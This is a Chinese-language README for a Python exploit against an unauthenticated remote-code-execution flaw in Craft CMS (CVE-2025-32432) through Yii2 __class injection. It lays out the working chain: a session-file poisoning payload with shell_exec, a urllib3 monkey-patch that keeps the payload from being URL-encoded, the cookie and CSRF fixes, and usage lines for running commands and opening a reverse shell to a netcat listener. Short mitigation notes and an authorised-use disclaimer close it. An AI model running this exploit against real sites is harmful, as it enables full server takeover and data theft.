针对 CVE-2025-32432 的 Python 漏洞利用程序,该漏洞是 Craft CMS 中通过 Yii2 __class 注入实现的未认证 RCE,支持命令执行和反向 shell。
严重性: 严重 (CVSS 10.0) 需要认证: 无 受影响版本: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 修复版本: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
AssetsController::actionGenerateTransform() 被声明为 allowAnonymous,使其无需认证即可访问。它将用户控制的 handle 参数直接传入 Yii::createObject():
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Yii 的依赖注入容器处理两个特殊数组键时没有任何允许列表:
| 键 | 行为 |
|---|---|
__class | 实例化此类而不是声明的类型 |
__construct() | 将这些值作为构造函数参数传递 |
利用链:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
会话文件投毒 完成了整个利用链:PHP 的会话处理器将 GET 参数值原样写入 /tmp/sess_<CraftSessionId>。将 <?=shell_exec($_GET['cmd']);exit;?> 作为查询参数发送,即可在已知的、攻击者控制的路径植入可执行的 PHP 代码。
Python 的 requests 库在 <、>、?、= 到达服务器之前对其进行 URL 编码。会话文件存储的是 %3C%3Fphp...(无害)而不是 <?php...(可执行)。
# BROKEN — requests encodes < > ? = before they reach the server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";
修复: Monkey-patch HTTPConnectionPool._make_request —— 这是 TCP socket 写入之前的最后一点 —— 并在那里调用 urllib.parse.unquote():
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before send
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
Craft CMS 设置的是 CraftSessionId,而不是 PHPSESSID。
# BROKEN
session_id = session.cookies.get("PHPSESSID") # -> None
# FIXED
session_id = sess.cookies.get("CraftSessionId")
Craft 对所有非匿名 POST 操作验证 CSRF token。省略 token 会导致 400 Bad Request。
# BROKEN
requests.post(url, json=payload)
# FIXED
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a PHP reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (PHP avoids bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| 操作 | 详情 |
|---|---|
| 升级 Craft CMS | 3.9.15 / 4.14.15 / 5.6.17 验证 handle 实现了 ImageTransformerInterface |
| 升级 Yii2 | 2.0.50 阻止了 Component::__set 中的 __class 注入 |
| WAF 规则 | 阻止发往 /actions/assets/generate-transform 的请求体中包含 __class 或 __construct() |
仅供授权安全测试和教育目的使用。
| 问题 | 日志投毒 PoC | 会话(错误 cookie) | 会话(无 CSRF) | 本 PoC |
|---|
| URL 编码 | 不适用 (User-Agent) | 失败 | 失败 | 已修复 monkey-patched |
| Cookie 名称 | 不适用 | 失败 PHPSESSID | 失败 PHPSESSID | 已修复 CraftSessionId |
| 触发时 CSRF | 正常 | 正常 | 失败 | 已修复 |
| 过期日志退出; | 失败 | 不适用 | 不适用 | 不适用 |
| 在 /cms 前缀下工作 | 失败 | 失败 | 失败 | 已修复 |